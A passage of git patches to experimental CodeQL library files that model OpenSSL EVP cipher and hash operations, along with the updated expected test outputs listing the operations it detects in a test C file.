Expr getInputArg() { result = this.(Call).getArgument(1) } - - DataFlow::Node getInputNode() { result.asExpr() = this.getInputArg() } - - Expr getContextArg() { result = this.(Call).getArgument(0) } -} - -class EVP_Digest_Final_Call extends EVP_Hash_Operation { +class EVP_Digest_Final_Call extends EVPFinal, Crypto::HashOperationInstance { EVP_Digest_Final_Call() { this.(Call).getTarget().getName() in [ "EVP_DigestFinal", "EVP_DigestFinal_ex", "EVP_DigestFinalXOF" ] } - EVP_Digest_Update_Call getUpdateCalls() { - CTXFlow::ctxArgFlowsToCtxArg(result.getContextArg(), this.getContextArg()) - } - - override Expr getInputArg() { result = this.getUpdateCalls().getInputArg() } - - override Crypto::ConsumerInputDataFlowNode getInputConsumer() { result = this.getInputNode() } - override Expr getOutputArg() { result = this.(Call).getArgument(1) } - override Crypto::ArtifactOutputDataFlowNode getOutputArtifact() { result = this.getOutputNode() } + override Crypto::ArtifactOutputDataFlowNode getOutputArtifact() { + result = EVPFinal.super.getOutputArtifact() + } + + override Crypto::ConsumerInputDataFlowNode getInputConsumer() { + result = EVPFinal.super.getInputConsumer() + } } diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll index f9753e92c5d..9cccd6395a1 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll @@ -1,21 +1,157 @@ private import experimental.quantum.Language +private import experimental.quantum.OpenSSL.CtxFlow as CTXFlow +private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumers +/** + * All OpenSSL operations. + */ abstract class OpenSSLOperation extends Crypto::OperationInstance instanceof Call { + /** + * Expression that specifies the algorithm for the operation. + * Will be an argument of the operation in the simplest case. + */ + abstract Expr getAlgorithmArg(); + + /** + * Algorithm is specified in initialization call or is implicitly established by the key. + */ + override Crypto::AlgorithmValueConsumer getAnAlgorithmValueConsumer() { + AlgGetterToAlgConsumerFlow::flow(result.(OpenSSLAlgorithmValueConsumer).getResultNode(), + DataFlow::exprNode(this.getAlgorithmArg())) + } +} + +/** + * Calls to initialization functions of EVP API. + * These are not operations in the sense of Crypto::OperationInstance, + * but they are used to initialize the context for the operation. + */ +abstract class EVPInitialize extends Call { + /** + * The context argument that ties together initialization, updates and/or final calls. + */ + Expr getContextArg() { result = this.(Call).getArgument(0) } + + /** + * The type of key operation, none if not applicable. + */ + Crypto::KeyOperationSubtype getKeyOperationSubtype() { none() } + + /** + * Explicitly specified algorithm or none if implicit (e.g., established by the key). + * None if not applicable. + */ + Expr getAlgorithmArg() { none() } + + /** + * The key for the operation, none if not applicable. + */ + Expr getKeyArg() { none() } + + /** + * The IV/nonce, none if not applicable. + */ + Expr getIVArg() { none() } +} + +/** + * Calls to update functions of EVP API. + * These are not operations in the sense of Crypto::OperationInstance, + * but they are used to update the context for the operation. + */ +abstract class EVPUpdate extends Call { + /** + * The context argument that ties together initialization, updates and/or final calls. + */ + Expr getContextArg() { result = this.(Call).getArgument(0) } + + /** + * Update calls always have some input data like plaintext or message digest. + */ + abstract Expr getInputArg(); +} + +/** + * Flows from algorithm values to operations, specific to OpenSSL + */ +private module AlgGetterToAlgConsumerConfig implements DataFlow::ConfigSig { + predicate isSource(DataFlow::Node source) { + exists(OpenSSLAlgorithmValueConsumer c | c.getResultNode() = source) + } + + predicate isSink(DataFlow::Node sink) { + exists(EVPOperation c | c.getAlgorithmArg() = sink.asExpr()) + } +} + +private module AlgGetterToAlgConsumerFlow = DataFlow::Global; + +/** + * Base class for all operations of the EVP API. + * Currently final calls and one-shot calls are implemented. + * Provides some default methods for Crypto::KeyOperationInstance class + */ +abstract class EVPOperation extends OpenSSLOperation { + /** + * The context argument that ties together initialization, updates and/or final calls. + */ + Expr getContextArg() { result = this.(Call).getArgument(0) } + + /** + * Some input data like plaintext or message digest. + * Either argument provided direcly in the call or all arguments that were provided in update calls. + */ abstract Expr getInputArg(); /** - * Can be an argument of a call or a return value of a function. + * Some output data like ciphertext or signature. + * Always produced directly by this operation. + * Assumption: output is provided as an argument to the call, never as return value. */ abstract Expr getOutputArg(); - DataFlow::Node getInputNode() { - // Assumed to be default to asExpr - result.asExpr() = this.getInputArg() + /** + * Overwrite with an explicitly specified algorithm or leave base implementation to find it in the initialization call. + */ + override Expr getAlgorithmArg() { + if exists(this.getInitCall()) then result = this.getInitCall().getAlgorithmArg() else none() } - DataFlow::Node getOutputNode() { - if exists(Call c | c.getAnArgument() = this) - then result.asDefiningArgument() = this - else result.asExpr() = this + /** + * Finds the initialization call, may be none. + */ + EVPInitialize getInitCall() { + CTXFlow::ctxArgFlowsToCtxArg(result.getContextArg(), this.getContextArg()) } + + Crypto::ArtifactOutputDataFlowNode getOutputArtifact() { + result.asExpr() = this.getOutputArg() + } + + /** + * Input consumer is the input argument of the call. + */ + Crypto::ConsumerInputDataFlowNode getInputConsumer() { result.asExpr() = this.getInputArg() } } + +/** + * Final calls of EVP API. + */ +abstract class EVPFinal extends EVPOperation { + /** + * All update calls that were executed before this final call. + */ + EVPUpdate getUpdateCalls() { + CTXFlow::ctxArgFlowsToCtxArg(result.getContextArg(), this.getContextArg()) + } + + /** + * The input data was provided to all update calls. + */ + override Expr getInputArg() { result = this.getUpdateCalls().getInputArg() } +} + +/** + * One-shot calls of EVP API. + */ +abstract class EVPOneShot extends EVPOperation { } diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperations.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperations.qll index f6ff0dd1f07..54ac977ead0 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperations.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperations.qll @@ -2,3 +2,4 @@ import OpenSSLOperationBase import EVPCipherOperation import EVPHashOperation import ECKeyGenOperation +import EVPSignatureOperation diff --git a/cpp/ql/test/experimental/library-tests/quantum/openssl/cipher_operations.expected b/cpp/ql/test/experimental/library-tests/quantum/openssl/cipher_operations.expected index 074f86fd449..d566397eaca 100644 --- a/cpp/ql/test/experimental/library-tests/quantum/openssl/cipher_operations.expected +++ b/cpp/ql/test/experimental/library-tests/quantum/openssl/cipher_operations.expected @@ -1,8 +1,8 @@ -| openssl_basic.c:40:13:40:31 | EncryptOperation | openssl_basic.c:35:54:35:62 | Message | openssl_basic.c:40:13:40:31 | KeyOperationOutput | openssl_basic.c:23:62:23:65 | Key | openssl_basic.c:23:68:23:71 | Nonce | openssl_basic.c:23:37:23:51 | KeyOperationAlgorithm | Encrypt | -| openssl_basic.c:40:13:40:31 | EncryptOperation | openssl_basic.c:35:54:35:62 | Message | openssl_basic.c:40:13:40:31 | KeyOperationOutput | openssl_basic.c:23:62:23:65 | Key | openssl_basic.c:31:54:31:55 | Nonce | openssl_basic.c:23:37:23:51 | KeyOperationAlgorithm | Encrypt | -| openssl_basic.c:40:13:40:31 | EncryptOperation | openssl_basic.c:35:54:35:62 | Message | openssl_basic.c:40:13:40:31 | KeyOperationOutput | openssl_basic.c:31:49:31:51 | Key | openssl_basic.c:23:68:23:71 | Nonce | openssl_basic.c:23:37:23:51 | KeyOperationAlgorithm | Encrypt | -| openssl_basic.c:40:13:40:31 | EncryptOperation | openssl_basic.c:35:54:35:62 | Message | openssl_basic.c:40:13:40:31 | KeyOperationOutput | openssl_basic.c:31:49:31:51 | Key | openssl_basic.c:31:54:31:55 | Nonce | openssl_basic.c:23:37:23:51 | KeyOperationAlgorithm | Encrypt | -| openssl_basic.c:90:11:90:29 | DecryptOperation | openssl_basic.c:81:49:81:58 | Message | openssl_basic.c:90:11:90:29 | KeyOperationOutput | openssl_basic.c:69:58:69:61 | Key | openssl_basic.c:69:64:69:67 | Nonce | openssl_basic.c:69:33:69:47 | KeyOperationAlgorithm | Decrypt | -| openssl_basic.c:90:11:90:29 | DecryptOperation | openssl_basic.c:81:49:81:58 | Message | openssl_basic.c:90:11:90:29 | KeyOperationOutput | openssl_basic.c:69:58:69:61 | Key | openssl_basic.c:77:50:77:51 | Nonce | openssl_basic.c:69:33:69:47 | KeyOperationAlgorithm | Decrypt | -| openssl_basic.c:90:11:90:29 | DecryptOperation | openssl_basic.c:81:49:81:58 | Message | openssl_basic.c:90:11:90:29 | KeyOperationOutput | openssl_basic.c:77:45:77:47 | Key | openssl_basic.c:69:64:69:67 | Nonce | openssl_basic.c:69:33:69:47 | KeyOperationAlgorithm | Decrypt | -| openssl_basic.c:90:11:90:29 | DecryptOperation | openssl_basic.c:81:49:81:58 | Message | openssl_basic.c:90:11:90:29 | KeyOperationOutput | openssl_basic.c:77:45:77:47 | Key | openssl_basic.c:77:50:77:51 | Nonce | openssl_basic.c:69:33:69:47 | KeyOperationAlgorithm | Decrypt | +| openssl_basic.c:40:13:40:31 | EncryptOperation | openssl_basic.c:35:54:35:62 | Message | openssl_basic.c:40:38:40:53 | KeyOperationOutput | openssl_basic.c:23:62:23:65 | Key | openssl_basic.c:23:68:23:71 | Nonce | openssl_basic.c:23:37:23:51 | KeyOperationAlgorithm | Encrypt | +| openssl_basic.c:40:13:40:31 | EncryptOperation | openssl_basic.c:35:54:35:62 | Message | openssl_basic.c:40:38:40:53 | KeyOperationOutput | openssl_basic.c:23:62:23:65 | Key | openssl_basic.c:31:54:31:55 | Nonce | openssl_basic.c:23:37:23:51 | KeyOperationAlgorithm | Encrypt | +| openssl_basic.c:40:13:40:31 | EncryptOperation | openssl_basic.c:35:54:35:62 | Message | openssl_basic.c:40:38:40:53 | KeyOperationOutput | openssl_basic.c:31:49:31:51 | Key | openssl_basic.c:23:68:23:71 | Nonce | openssl_basic.c:23:37:23:51 | KeyOperationAlgorithm | Encrypt | +| openssl_basic.c:40:13:40:31 | EncryptOperation | openssl_basic.c:35:54:35:62 | Message | openssl_basic.c:40:38:40:53 | KeyOperationOutput | openssl_basic.c:31:49:31:51 | Key | openssl_basic.c:31:54:31:55 | Nonce | openssl_basic.c:23:37:23:51 | KeyOperationAlgorithm | Encrypt | +| openssl_basic.c:90:11:90:29 | DecryptOperation | openssl_basic.c:81:49:81:58 | Message | openssl_basic.c:90:36:90:50 | KeyOperationOutput | openssl_basic.c:69:58:69:61 | Key | openssl_basic.c:69:64:69:67 | Nonce | openssl_basic.c:69:33:69:47 | KeyOperationAlgorithm | Decrypt | +| openssl_basic.c:90:11:90:29 | DecryptOperation | openssl_basic.c:81:49:81:58 | Message | openssl_basic.c:90:36:90:50 | KeyOperationOutput | openssl_basic.c:69:58:69:61 | Key | openssl_basic.c:77:50:77:51 | Nonce | openssl_basic.c:69:33:69:47 | KeyOperationAlgorithm | Decrypt | +| openssl_basic.c:90:11:90:29 | DecryptOperation | openssl_basic.c:81:49:81:58 | Message | openssl_basic.c:90:36:90:50 | KeyOperationOutput | openssl_basic.c:77:45:77:47 | Key | openssl_basic.c:69:64:69:67 | Nonce | openssl_basic.c:69:33:69:47 | KeyOperationAlgorithm | Decrypt | +| openssl_basic.c:90:11:90:29 | DecryptOperation | openssl_basic.c:81:49:81:58 | Message | openssl_basic.c:90:36:90:50 | KeyOperationOutput | openssl_basic.c:77:45:77:47 | Key | openssl_basic.c:77:50:77:51 | Nonce | openssl_basic.c:69:33:69:47 | KeyOperationAlgorithm | Decrypt | diff --git a/cpp/ql/test/experimental/library-tests/quantum/openssl/hash_operations.expected b/cpp/ql/test/experimental/library-tests/quantum/openssl/hash_operations.expected index 9e52ea44885..247c4389bc1 100644 --- a/cpp/ql/test/experimental/library-tests/quantum/openssl/hash_operations.expected +++ b/cpp/ql/test/experimental/library-tests/quantum/openssl/hash_operations.expected @@ -1,2 +1,2 @@ -| openssl_basic.c:124:13:124:30 | HashOperation | openssl_basic.c:124:13:124:30 | Digest | openssl_basic.c:116:38:116:47 | HashAlgorithm | openssl_basic.c:120:37:120:43 | Message | -| openssl_basic.c:144:13:144:22 | HashOperation | openssl_basic.c:144:13:144:22 | Digest | openssl_basic.c:144:67:144:73 | HashAlgorithm | openssl_basic.c:144:24:144:30 | Message | +| openssl_basic.c:124:13:124:30 | HashOperation | openssl_basic.c:124:39:124:44 | Digest | openssl_basic.c:116:38:116:47 | HashAlgorithm | openssl_basic.c:120:37:120:43 | Message | +| openssl_basic.c:144:13:144:22 | HashOperation | openssl_basic.c:144:46:144:51 | Digest | openssl_basic.c:144:67:144:73 | HashAlgorithm | openssl_basic.c:144:24:144:30 | Message | From af8702d6a8a08ef4bb58380e01631ddea1fdc0da Mon Sep 17 00:00:00 2001 From: GrosQuildu Date: Wed, 28 May 2025 18:39:15 +0200 Subject: [PATCH 147/271] fix openssl outputs --- .../OpenSSL/Operations/EVPCipherOperation.qll | 11 ++++++++++ .../Operations/OpenSSLOperationBase.qll | 20 +++++++++++++++---- .../OpenSSL/Operations/OpenSSLOperations.qll | 1 - .../openssl/cipher_operations.expected | 8 ++++++++ 4 files changed, 35 insertions(+), 5 deletions(-) diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherOperation.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherOperation.qll index fb06543ee5b..993b5ad60a9 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherOperation.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherOperation.qll @@ -12,6 +12,8 @@ class EVP_Cipher_Update_Call extends EVPUpdate { } override Expr getInputArg() { result = this.(Call).getArgument(3) } + + override Expr getOutputArg() { result = this.(Call).getArgument(1) } } /** @@ -63,4 +65,13 @@ class EVP_Cipher_Final_Call extends EVPFinal, EVP_Cipher_Operation { "EVP_DecryptFinal", "EVP_CipherFinal" ] } + + /** + * Output is both from update calls and from the final call. + */ + override Expr getOutputArg() { + result = EVPFinal.super.getOutputArg() + or + result = EVP_Cipher_Operation.super.getOutputArg() + } } diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll index 9cccd6395a1..d7dc2483c84 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll @@ -69,6 +69,11 @@ abstract class EVPUpdate extends Call { * Update calls always have some input data like plaintext or message digest. */ abstract Expr getInputArg(); + + /** + * Update calls sometimes have some output data like a plaintext. + */ + Expr getOutputArg() { none() } } /** @@ -105,8 +110,6 @@ abstract class EVPOperation extends OpenSSLOperation { /** * Some output data like ciphertext or signature. - * Always produced directly by this operation. - * Assumption: output is provided as an argument to the call, never as return value. */ abstract Expr getOutputArg(); @@ -125,13 +128,15 @@ abstract class EVPOperation extends OpenSSLOperation { } Crypto::ArtifactOutputDataFlowNode getOutputArtifact() { - result.asExpr() = this.getOutputArg() + result = DataFlow::exprNode(this.getOutputArg()) } /** * Input consumer is the input argument of the call. */ - Crypto::ConsumerInputDataFlowNode getInputConsumer() { result.asExpr() = this.getInputArg() } + Crypto::ConsumerInputDataFlowNode getInputConsumer() { + result = DataFlow::exprNode(this.getInputArg()) + } } /** @@ -147,8 +152,15 @@ abstract class EVPFinal extends EVPOperation { /** * The input data was provided to all update calls. + * If more input data was provided in the final call, override the method. */ override Expr getInputArg() { result = this.getUpdateCalls().getInputArg() } + + /** + * The output data was provided to all update calls. + * If more output data was provided in the final call, override the method. + */ + override Expr getOutputArg() { result = this.getUpdateCalls().getOutputArg() } } /** diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperations.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperations.qll index 54ac977ead0..f6ff0dd1f07 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperations.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperations.qll @@ -2,4 +2,3 @@ import OpenSSLOperationBase import EVPCipherOperation import EVPHashOperation import ECKeyGenOperation -import EVPSignatureOperation diff --git a/cpp/ql/test/experimental/library-tests/quantum/openssl/cipher_operations.expected b/cpp/ql/test/experimental/library-tests/quantum/openssl/cipher_operations.expected index d566397eaca..73b0af3ad5f 100644 --- a/cpp/ql/test/experimental/library-tests/quantum/openssl/cipher_operations.expected +++ b/cpp/ql/test/experimental/library-tests/quantum/openssl/cipher_operations.expected @@ -1,7 +1,15 @@ +| openssl_basic.c:40:13:40:31 | EncryptOperation | openssl_basic.c:35:54:35:62 | Message | openssl_basic.c:35:36:35:45 | KeyOperationOutput | openssl_basic.c:23:62:23:65 | Key | openssl_basic.c:23:68:23:71 | Nonce | openssl_basic.c:23:37:23:51 | KeyOperationAlgorithm | Encrypt | +| openssl_basic.c:40:13:40:31 | EncryptOperation | openssl_basic.c:35:54:35:62 | Message | openssl_basic.c:35:36:35:45 | KeyOperationOutput | openssl_basic.c:23:62:23:65 | Key | openssl_basic.c:31:54:31:55 | Nonce | openssl_basic.c:23:37:23:51 | KeyOperationAlgorithm | Encrypt | +| openssl_basic.c:40:13:40:31 | EncryptOperation | openssl_basic.c:35:54:35:62 | Message | openssl_basic.c:35:36:35:45 | KeyOperationOutput | openssl_basic.c:31:49:31:51 | Key | openssl_basic.c:23:68:23:71 | Nonce | openssl_basic.c:23:37:23:51 | KeyOperationAlgorithm | Encrypt | +| openssl_basic.c:40:13:40:31 | EncryptOperation | openssl_basic.c:35:54:35:62 | Message | openssl_basic.c:35:36:35:45 | KeyOperationOutput | openssl_basic.c:31:49:31:51 | Key | openssl_basic.c:31:54:31:55 | Nonce | openssl_basic.c:23:37:23:51 | KeyOperationAlgorithm | Encrypt | | openssl_basic.c:40:13:40:31 | EncryptOperation | openssl_basic.c:35:54:35:62 | Message | openssl_basic.c:40:38:40:53 | KeyOperationOutput | openssl_basic.c:23:62:23:65 | Key | openssl_basic.c:23:68:23:71 | Nonce | openssl_basic.c:23:37:23:51 | KeyOperationAlgorithm | Encrypt | | openssl_basic.c:40:13:40:31 | EncryptOperation | openssl_basic.c:35:54:35:62 | Message | openssl_basic.c:40:38:40:53 | KeyOperationOutput | openssl_basic.c:23:62:23:65 | Key | openssl_basic.c:31:54:31:55 | Nonce | openssl_basic.c:23:37:23:51 | KeyOperationAlgorithm | Encrypt | | openssl_basic.c:40:13:40:31 | EncryptOperation | openssl_basic.c:35:54:35:62 | Message | openssl_basic.c:40:38:40:53 | KeyOperationOutput | openssl_basic.c:31:49:31:51 | Key | openssl_basic.c:23:68:23:71 | Nonce | openssl_basic.c:23:37:23:51 | KeyOperationAlgorithm | Encrypt | | openssl_basic.c:40:13:40:31 | EncryptOperation | openssl_basic.c:35:54:35:62 | Message | openssl_basic.c:40:38:40:53 | KeyOperationOutput | openssl_basic.c:31:49:31:51 | Key | openssl_basic.c:31:54:31:55 | Nonce | openssl_basic.c:23:37:23:51 | KeyOperationAlgorithm | Encrypt | +| openssl_basic.c:90:11:90:29 | DecryptOperation | openssl_basic.c:81:49:81:58 | Message | openssl_basic.c:81:32:81:40 | KeyOperationOutput | openssl_basic.c:69:58:69:61 | Key | openssl_basic.c:69:64:69:67 | Nonce | openssl_basic.c:69:33:69:47 | KeyOperationAlgorithm | Decrypt | +| openssl_basic.c:90:11:90:29 | DecryptOperation | openssl_basic.c:81:49:81:58 | Message | openssl_basic.c:81:32:81:40 | KeyOperationOutput | openssl_basic.c:69:58:69:61 | Key | openssl_basic.c:77:50:77:51 | Nonce | openssl_basic.c:69:33:69:47 | KeyOperationAlgorithm | Decrypt | +| openssl_basic.c:90:11:90:29 | DecryptOperation | openssl_basic.c:81:49:81:58 | Message | openssl_basic.c:81:32:81:40 | KeyOperationOutput | openssl_basic.c:77:45:77:47 | Key | openssl_basic.c:69:64:69:67 | Nonce | openssl_basic.c:69:33:69:47 | KeyOperationAlgorithm | Decrypt | +| openssl_basic.c:90:11:90:29 | DecryptOperation | openssl_basic.c:81:49:81:58 | Message | openssl_basic.c:81:32:81:40 | KeyOperationOutput | openssl_basic.c:77:45:77:47 | Key | openssl_basic.c:77:50:77:51 | Nonce | openssl_basic.c:69:33:69:47 | KeyOperationAlgorithm | Decrypt | | openssl_basic.c:90:11:90:29 | DecryptOperation | openssl_basic.c:81:49:81:58 | Message | openssl_basic.c:90:36:90:50 | KeyOperationOutput | openssl_basic.c:69:58:69:61 | Key | openssl_basic.c:69:64:69:67 | Nonce | openssl_basic.c:69:33:69:47 | KeyOperationAlgorithm | Decrypt | | openssl_basic.c:90:11:90:29 | DecryptOperation | openssl_basic.c:81:49:81:58 | Message | openssl_basic.c:90:36:90:50 | KeyOperationOutput | openssl_basic.c:69:58:69:61 | Key | openssl_basic.c:77:50:77:51 | Nonce | openssl_basic.c:69:33:69:47 | KeyOperationAlgorithm | Decrypt | | openssl_basic.c:90:11:90:29 | DecryptOperation | openssl_basic.c:81:49:81:58 | Message | openssl_basic.c:90:36:90:50 | KeyOperationOutput | openssl_basic.c:77:45:77:47 | Key | openssl_basic.c:69:64:69:67 | Nonce | openssl_basic.c:69:33:69:47 | KeyOperationAlgorithm | Decrypt | From f103e8be96a261ff6fbdb0b118096c77d59c94e5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Pawe=C5=82=20P=C5=82atek?= Date: Thu, 29 May 2025 11:12:31 +0200 Subject: [PATCH 148/271] Update cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll Co-authored-by: Ben Rodes --- .../quantum/OpenSSL/Operations/OpenSSLOperationBase.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll index d7dc2483c84..e97181c744f 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll @@ -22,7 +22,7 @@ abstract class OpenSSLOperation extends Crypto::OperationInstance instanceof Cal } /** - * Calls to initialization functions of EVP API. + * A Call to initialization functions from the EVP API. * These are not operations in the sense of Crypto::OperationInstance, * but they are used to initialize the context for the operation. */ From 328cf798bf330ed58502be13f0ff5f0d6ef14126 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Pawe=C5=82=20P=C5=82atek?= Date: Thu, 29 May 2025 11:14:16 +0200 Subject: [PATCH 149/271] Apply docs suggestions Co-authored-by: Ben Rodes --- .../quantum/OpenSSL/Operations/OpenSSLOperationBase.qll | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll index e97181c744f..dcd2d83cdc5 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll @@ -55,7 +55,7 @@ abstract class EVPInitialize extends Call { } /** - * Calls to update functions of EVP API. + * A Call to update functions from the EVP API. * These are not operations in the sense of Crypto::OperationInstance, * but they are used to update the context for the operation. */ @@ -92,7 +92,7 @@ private module AlgGetterToAlgConsumerConfig implements DataFlow::ConfigSig { private module AlgGetterToAlgConsumerFlow = DataFlow::Global; /** - * Base class for all operations of the EVP API. + * The base class for all operations of the EVP API. * Currently final calls and one-shot calls are implemented. * Provides some default methods for Crypto::KeyOperationInstance class */ From f04fa58c8b5d8e06e76e13fbef03bc8b4286c83e Mon Sep 17 00:00:00 2001 From: GrosQuildu Date: Thu, 29 May 2025 11:33:52 +0200 Subject: [PATCH 150/271] rm one-shot class --- .../OpenSSL/Operations/EVPCipherOperation.qll | 2 +- .../quantum/OpenSSL/Operations/EVPHashOperation.qll | 12 ++++++------ .../OpenSSL/Operations/OpenSSLOperationBase.qll | 7 +------ 3 files changed, 8 insertions(+), 13 deletions(-) diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherOperation.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherOperation.qll index 993b5ad60a9..5f24d840ff8 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherOperation.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherOperation.qll @@ -52,7 +52,7 @@ abstract class EVP_Cipher_Operation extends EVPOperation, Crypto::KeyOperationIn } } -class EVP_Cipher_Call extends EVPOneShot, EVP_Cipher_Operation { +class EVP_Cipher_Call extends EVPOperation, EVP_Cipher_Operation { EVP_Cipher_Call() { this.(Call).getTarget().getName() = "EVP_Cipher" } override Expr getInputArg() { result = this.(Call).getArgument(2) } diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashOperation.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashOperation.qll index 2b798a96b7e..f2907db5678 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashOperation.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashOperation.qll @@ -15,7 +15,7 @@ class EVP_Digest_Update_Call extends EVPUpdate { } //https://docs.openssl.org/3.0/man3/EVP_DigestInit/#synopsis -class EVP_Q_Digest_Operation extends EVPOneShot, Crypto::HashOperationInstance { +class EVP_Q_Digest_Operation extends EVPOperation, Crypto::HashOperationInstance { EVP_Q_Digest_Operation() { this.(Call).getTarget().getName() = "EVP_Q_digest" } override Expr getAlgorithmArg() { result = this.(Call).getArgument(1) } @@ -31,15 +31,15 @@ class EVP_Q_Digest_Operation extends EVPOneShot, Crypto::HashOperationInstance { override Expr getOutputArg() { result = this.(Call).getArgument(5) } override Crypto::ArtifactOutputDataFlowNode getOutputArtifact() { - result = EVPOneShot.super.getOutputArtifact() + result = EVPOperation.super.getOutputArtifact() } override Crypto::ConsumerInputDataFlowNode getInputConsumer() { - result = EVPOneShot.super.getInputConsumer() + result = EVPOperation.super.getInputConsumer() } } -class EVP_Digest_Operation extends EVPOneShot, Crypto::HashOperationInstance { +class EVP_Digest_Operation extends EVPOperation, Crypto::HashOperationInstance { EVP_Digest_Operation() { this.(Call).getTarget().getName() = "EVP_Digest" } // There is no context argument for this function @@ -58,11 +58,11 @@ class EVP_Digest_Operation extends EVPOneShot, Crypto::HashOperationInstance { override Expr getOutputArg() { result = this.(Call).getArgument(2) } override Crypto::ArtifactOutputDataFlowNode getOutputArtifact() { - result = EVPOneShot.super.getOutputArtifact() + result = EVPOperation.super.getOutputArtifact() } override Crypto::ConsumerInputDataFlowNode getInputConsumer() { - result = EVPOneShot.super.getInputConsumer() + result = EVPOperation.super.getInputConsumer() } } diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll index dcd2d83cdc5..7e9e781c897 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll @@ -93,7 +93,7 @@ private module AlgGetterToAlgConsumerFlow = DataFlow::Global Date: Tue, 3 Jun 2025 15:22:25 +0200 Subject: [PATCH 151/271] remove redundant if/none --- .../quantum/OpenSSL/Operations/OpenSSLOperationBase.qll | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll index 7e9e781c897..cbd24f19904 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll @@ -116,9 +116,7 @@ abstract class EVPOperation extends OpenSSLOperation { /** * Overwrite with an explicitly specified algorithm or leave base implementation to find it in the initialization call. */ - override Expr getAlgorithmArg() { - if exists(this.getInitCall()) then result = this.getInitCall().getAlgorithmArg() else none() - } + override Expr getAlgorithmArg() { result = this.getInitCall().getAlgorithmArg() } /** * Finds the initialization call, may be none. From 60d9b6e338842c95b1fb62346e603d754f6a3254 Mon Sep 17 00:00:00 2001 From: GrosQuildu Date: Tue, 3 Jun 2025 16:19:55 +0200 Subject: [PATCH 152/271] update docs --- .../OpenSSL/Operations/EVPHashOperation.qll | 2 +- .../Operations/OpenSSLOperationBase.qll | 20 +++++++++---------- 2 files changed, 11 insertions(+), 11 deletions(-) diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashOperation.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashOperation.qll index f2907db5678..796f7139838 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashOperation.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashOperation.qll @@ -9,7 +9,7 @@ private import EVPHashInitializer private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumers class EVP_Digest_Update_Call extends EVPUpdate { - EVP_Digest_Update_Call() { this.(Call).getTarget().getName() in ["EVP_DigestUpdate"] } + EVP_Digest_Update_Call() { this.(Call).getTarget().getName() = 